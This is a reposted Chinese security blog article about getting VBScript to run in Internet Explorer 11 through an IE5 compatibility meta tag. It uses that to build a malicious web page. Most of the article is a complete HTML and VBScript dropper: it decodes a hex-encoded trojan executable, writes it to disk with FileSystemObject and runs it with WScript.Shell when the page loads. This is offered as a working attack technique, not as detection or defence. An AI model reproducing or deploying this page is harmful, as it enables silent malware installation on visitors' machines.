基于VBSCRIPT下16进制木马的IE浏览器BYPASS
2019-12-09 10:21:00 Author: xz.aliyun.com(查看原文) 阅读量:216 收藏

微软在发布internet explore 11时,基于相关安全措施,基于IE11的浏览器无法执行vbscript代码,详情如下文:
https://blogs.windows.com/msedgedev/2017/07/07/update-disabling-vbscript-internet-explorer-11/

然而,最近我在编写html代码时,偶然发现新版本的ie浏览器依然兼容旧版本的vbscript,通过在头部文件加入IE5兼容模式,并且在script标签插入旧版本的vb(VBScript.Encode),如下图:

最终的运行结果如下:

可以看到使用IE5兼容模式可以成功在ie11浏览器下执行vb代码。因此,基于上述方法,可将一个木马exe文件转换成16进制文件并通过vb执行并最终可以运行在IE11版本下。

1.将木马转换成16进制字符,并去掉中间空格

2.通过CreateObject函数创建对象:

Set objFSO = CreateObject("Scripting.FileSystemObject")

3.通过CreateTextFile函数创建文件:

Dim objTextFile 
Set objTextFile = objFSO.CreateTextFile("d:\Testfile.bat")

4.将16进制文件转换成字符串文件,由于16进制文件是每两个数字组成一个字符,因此在遍历16进制文件时需要将每两个数字作为一组遍历一次:

For i = 1 To Len(w) Step 2
objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))

5.通过CreateObject函数创建WScript.Shell文件并执行最终的exe文件

Set WS= CreateObject("WScript.Shell") 
WS.Run "d:/Testfile.exe"

最终的代码如下:

<html>
<meta http-equiv="x-ua-compatible" content="IE=5">
<body>
<script language="VBScript.Encode">
     Dim w
     w = "16hex of exe data"
         Dim objFSO
         Set objFSO = CreateObject("Scripting.FileSystemObject")          
         Dim objTextFile 
         Set objTextFile = objFSO.CreateTextFile("d:\Testfile.exe")     
     For i = 1 To Len(w) Step 2
     objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))
     Next
     objTextFile.close
     Set WS= CreateObject("WScript.Shell") 
     WS.Run "d:/Testfile.exe"
      </script>
      <p>This is web page body </p>
   </body>
</html>

相关演示视频如下:
https://v.youku.com/v_show/id_XNDQ1NTMwNjg3Ng==.html?spm=a2h3j.8428770.3416059.1
密码: microsoft123


文章来源: http://xz.aliyun.com/t/6886
如有侵权请联系:admin#unsafe.sh